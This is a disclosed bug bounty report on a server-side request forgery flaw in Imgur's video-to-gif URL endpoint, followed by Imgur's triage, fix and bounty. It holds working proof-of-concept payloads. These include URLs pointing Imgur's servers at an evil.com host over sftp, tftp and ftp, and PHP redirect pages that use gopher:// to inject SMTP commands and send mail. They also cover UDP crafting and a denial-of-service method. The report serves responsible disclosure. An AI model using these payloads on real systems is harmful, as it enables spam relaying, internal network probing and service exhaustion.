SSRF in https://imgur.com/vidgif/url

21

Share:

State	Resolved (Closed)
Disclosed	March 12, 2016 3:09pm +0800
Reported To	Imgur
Weakness	Denial of Service
Bounty	$2,000
Severity	No Rating (---)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE

aesteral submitted a report to **Imgur**. Feb 11th (3 years ago)

Hello,

Short description

https://imgur.com/vidgif/url endpoint is vulnerable to a SSRF vulnerability which allows an attacker to craft connections originating from imgur servers to any destination on the internet and imgur internal network and craft outgoing UDP-packets / telnet-based protocol sessions (for example, to connect to SMTP servers from imgur and send spam).

Why does the vulnerability exist?

imgur allows users to use 'video-to-gif' service. When a user requests conversion of such a video, imgur's servers perform an HTTP request to a user-supplied URL in order to discover the URL-s content-type and length. It is evident that in order to do so imgur utilizes libcurl. However, imgur does not properly validate user input and does not configure libcurl properly which allows an attacker to use various libcurl protocol wrappers other than http(s). For example, an attacker can supply ftp://test.com/file as an URL and imgur will make such a FTP request.

What are the exploitable protocols?

Apparently, imgur performs connections over the following protocols:

- SSH (scp://, sftp://)
- POP3
- IMAP
- SMTP
- FTP
- DICT
- GOPHER
- TFTP

Several leak information about imgur infrastracture (SSH, DICT), other allow more serious exploits (TFTP, DICT, GOPHER).

What are the exploits?

Simple exploit: information disclosure (and basic PoC of SSRF)

imgur leaks information about installed software versions via SSH and DICT protocols. An attacker may setup a 'netcat' server and force imgur servers to connect to it and leak version information via a connection string, for example:

Request: https://imgur.com/vidgif/url?url=sftp://evil.com:11111/

```
evil.com:$ nc -v -l 11111
Connection from [54.227.37.234] port 11111 [tcp/*] accepted (family 2, sport 36136)
SSH-2.0-libssh2_1.4.2
```

Request: https://imgur.com/vidgif/url?url=sftp://evil.com:11111/

```
evil.com:$ nc -v -l 11111
Listening on [0.0.0.0] (family 0, port 11111)
Connection from [54.166.236.232] port 11111 [tcp/*] accepted (family 2, sport 35789)
CLIENT libcurl 7.40.0

QUIT
```

This way an attacker can discover imgur software versions: libssh2 1.4.2 (probably vulnerable to CVE-2015-1782) and libcurl 7.40.0 (probably vulnerable to CVE-2015-3144, CVE-2015-3237). All there are probable RCEs.

Crafted SMTP connection exploit

Curl's GOPHER protocol implementation allows usage of newlines which allows us to craft any kinds of TELNET chat-sessions and thus craft any kind of TELNET-based protocols request. In this example we will craft a SMTP request to mail.ru.

Unfortunately imgur filters GET['url'] and does not allow us to include newlines in the request, however, imgur's libcurl follows redirects which allows us to send a correct GOPHER payload via HTTP 302.

Let's start with a TELNET chat session example, let's craft a malicious php page:

http://evil.com/imgur/gopher1.php

```
<?php
        header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
?>
```

```
evil.com:# nc -v -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
Connection from [54.227.37.234] port 12346 [tcp/*] accepted (family 2, sport 49398)
HI
Multiline
test
```

So, we can send arbitrary telnet commands and can try to perform an **actual SMTP session and send SPAM from Imgur IPs**

To demonstrate we will use test.smtp.org testing server.

Let's craft a malicious php page (this one is a working example so I use a real server):

http://gradeco.ru/imgur/gopher2.php

```
<?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: <imgur@imgur.com>',
                'RCPT TO: <bit-bucket@test.smtp.org>',
                'DATA',
                'Test mail',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://test.smtp.org:25/_'.$payload);
?>
```

This code concats our SMTP command into one line delimited by %0A and forces imgur server to send a 'GOPHER' request to a SMTP server while actually sending a **valid SMTP request**

Now, we should navigate to: https://imgur.com/vidgif/url?url=http://gradeco.ru/imgur/gopher2.php?rand=RAND (rand to prevent caching).

And imgur server will connect to test.smtp.org and send an email message! You can check it via smtp log here: http://test.smtp.org/log

```
Feb 10 18:32:41 z testmail[45856]: NOQUEUE: connect from ec2-54-160-191-72.compute-1.amazonaws.com [54.160
Feb 10 18:32:41 z testmail[45856]: AUTH: available mech=SCRAM-SHA-1 DIGEST-MD5 OTP CRAM-MD5 NTLM LOGIN PLA
Feb 10 18:32:41 z testmail[45856]: u1AIWf5H045856: Milter: no active filter
Feb 10 18:32:41 z testmail[45856]: u1AIWf5H045856: from=<imgur@imgur.com>, size=10, class=0, nrcpts=1, msg
```

```
Feb 10 18:32:41 z testmail[45857]: u1AIWf5H045856: alias <bit-bucket@test.smtp.org> => /dev/null
Feb 10 18:32:41 z testmail[45857]: u1AIWf5H045856: to=/dev/null, ctladdr=<bit-bucket@test.smtp.org> (26/0)
Feb 10 18:32:41 z testmail[45857]: u1AIWf5H045856: done; delay=00:00:00, ntries=1
```

Cool, now we can send spam from imgur servers :)

Same method can be used to connect to, say, REDIS servers, unavailable from external network.

Crafted UDP connection exploit

We can send almost arbitrary UDP packets by using TFTP protocol, here is an example:

Request: https://imgur.com/vidgif/url?url=tftp://evil.com:12346/TESTUDPPACKET

```
evil.com:# nc -v -u -l 12346
Listening on [0.0.0.0] (family 0, port 12346)
TESTUDPPACKEToctettsize0blksize512timeout6
```

This can be used to craft request to various UDP-services like Memcache or REDIS-UDP.

Denial of service exploit (obviously not tested)

It seems that imgur servers have VERY long timeout for their curl-requests. An attacker can use iptables' TARPIT target to block requests for a prolonged time and CURL's FTP:// protocol which never timeouts.

An attacker can send all TCP traffic to port 12345 to TARPIT and the request

https://imgur.com/vidgif/url?url=ftp://evil.com:12345/TEST

In this case, imgur will open an FTP connection from 3 servers (apparently due to retries) and keep it open for a long time (10's of seconds). An attacker can initiate lots of vidgif/url requests to exhaust imgur servers' resources.

aesteral posted a comment. Feb 11th (3 years ago)
There is also a non-tested possibility to append arbitrary lines to syslog by using:

Location: dict://localhost:514/TEST

jacobg changed the status to ○ **Triaged**. Feb 11th (3 years ago)
We have accepted the report as valid and added an issue in our internal issue tracker for your report. We will update this page when more progress is made. Thanks!

jacobg closed the report and changed the status to ○ **Resolved**. Feb 11th (3 years ago)
We have released a new version that fixes this vulnerability. Thanks for helping make Imgur more secure!

jacobg posted a comment. Feb 11th (3 years ago)
@kcramer will follow up with you with bounty.

Imgur rewarded aesteral with a **$2,000** bounty. Feb 11th (3 years ago)
Hi @aesteral, thanks for the report and for doing all the POCs etc. It's really well written and helped us take care of the issue quickly! Hope you keep digging around Imgur!

aesteral requested to disclose this report. Feb 11th (3 years ago)
Thanks! Please allow to disclose this.

sl1m filed a duplicate (#115857) and was invited to participate in this report. Feb 12th (3 years ago)

This report has been disclosed. Mar 12th (3 years ago)